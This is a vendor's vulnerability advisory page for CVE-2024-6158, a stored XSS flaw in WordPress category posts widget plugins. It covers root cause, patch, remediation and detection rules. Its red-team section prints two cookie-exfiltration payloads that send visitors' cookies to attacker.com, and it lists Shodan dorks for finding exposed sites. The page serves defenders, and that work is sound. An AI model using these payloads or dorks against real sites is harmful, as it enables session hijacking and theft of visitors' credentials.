☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6158

CVE-2024-6158 Cross-Site Scripting in Category posts widget
📅 PUBLISHED: 2024-08-09 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6158 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Category Posts Widget WordPress plugin (versions before 4.9.17) and the Term and Category Based Posts Widget WordPress plugin (versions before 4.9.13). This vulnerability allows high-privilege users, such as administrators, to inject malicious scripts into widget settings. When the widget is displayed on a page or post, the injected script executes in the context of the visitor's browser. This is particularly dangerous in multisite WordPress setups where the unfiltered_html capability is disabled, as it bypasses standard input sanitization.

The vulnerability stems from insufficient validation and escaping of widget settings before output. An attacker with admin-level access can craft a widget that, when rendered, executes arbitrary JavaScript. This can lead to session hijacking, defacement, or redirection to malicious sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The affected plugins are distributed via the official WordPress Plugin Directory. Users should verify they are running the patched versions (4.9.17 or 4.9.13) and ensure automatic updates are enabled. No known supply chain compromise has been reported, but the risk of plugin-based attacks in WordPress is significant.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / Estimated 4.8 (Medium) based on vector
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: Required (Victim visits page with widget)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires admin privileges, but in multisite environments, a site admin can compromise other sites or users.

Deep Dive & Mechanics

The vulnerability exists in the widget settings handling. The plugin stores user-defined settings (e.g., title, number of posts, category selection) in the WordPress options table. When rendering the widget, these settings are output without proper escaping. Specifically, the title field and other text-based settings are vulnerable.

Root Cause: The plugin uses echo $instance['title'] or similar without wrapping in esc_html() or wp_kses_post(). This allows an admin to inject HTML/JavaScript into the title field.

Attack Flow:

  1. Admin navigates to Appearance > Widgets.
  2. Adds a Category Posts Widget to a sidebar.
  3. In the widget settings, enters a malicious payload in the title field, e.g., <script>alert('XSS')</script>.
  4. Saves the widget.
  5. Any user visiting a page with that sidebar triggers the script.

WordPress Context: This is a classic WordPress plugin vulnerability. The issue is not with Apache or Nginx but with the plugin's failure to sanitize output. WordPress core provides functions like esc_html() and wp_kses_post() to prevent XSS, but the plugin bypasses them.

Vulnerable vs. Patched Code

Vulnerable Code (before 4.9.17):

// In widget display function
echo $instance['title'];

Patched Code (4.9.17+):

// Properly escaped
echo esc_html( $instance['title'] );

The patch applies esc_html() to all user-controlled settings before output. This converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress installation with vulnerable plugin (version < 4.9.17)
  • Admin-level credentials

Steps:

  1. Log in as admin.
  2. Navigate to Appearance > Widgets.
  3. Add "Category Posts Widget" to a sidebar.
  4. In the title field, enter: <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
  5. Save widget.
  6. As a victim, visit any page with that sidebar. The script executes, exfiltrating cookies.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal', {method: 'POST', body: JSON.stringify({cookie: document.cookie})})">

Blue Team (Detection & Hardening)

Detection:

  • Monitor widget settings changes in WordPress admin logs.
  • Look for unusual HTML/JavaScript in widget title fields via database queries.
  • Use WAF rules to block common XSS patterns in widget parameters.

Hardening:

  • Update plugin to patched version.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Restrict admin access to trusted users only.
  • Use WordPress security plugins (e.g., Wordfence) to detect XSS attempts.

Indicators of Compromise (IOCs)

  • Database: Look for widget settings containing <script>, onerror, onload, or javascript: in the wp_options table under widget_category-posts-widget or similar.
  • Logs: Unusual admin activity in wp-admin/widgets.php with non-standard input.
  • Network: Outbound connections to unknown domains from WordPress server (cookie exfiltration).
  • File System: No file changes expected; this is a stored XSS.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_6158_XSS_Payload {
    meta:
        description = "Detects XSS payloads in WordPress widget settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6158"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: WordPress Category Posts Widget XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in widget settings for CVE-2024-6158
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom WordPress audit log event
        ObjectName: 'widget_category-posts-widget'
        Data|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget titles (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6158 WordPress XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/steal.php"; http_uri; content:"cookie="; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Category Posts Widget to version 4.9.17 or later.
  2. Update Term and Category Based Posts Widget to version 4.9.13 or later.
  3. If unable to update, remove the widget from all sidebars and disable the plugin.

Long-term Measures:

  • Enforce automatic plugin updates in WordPress.
  • Conduct regular security audits of installed plugins.
  • Implement Web Application Firewall (WAF) rules to block XSS.
  • Use WordPress hardening plugins that monitor file integrity and detect malicious changes.

Workaround:

  • Manually edit the plugin file to add esc_html() around widget settings output (not recommended for non-developers).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Category Posts Widget"
http.html:"category-posts-widget"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6158/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.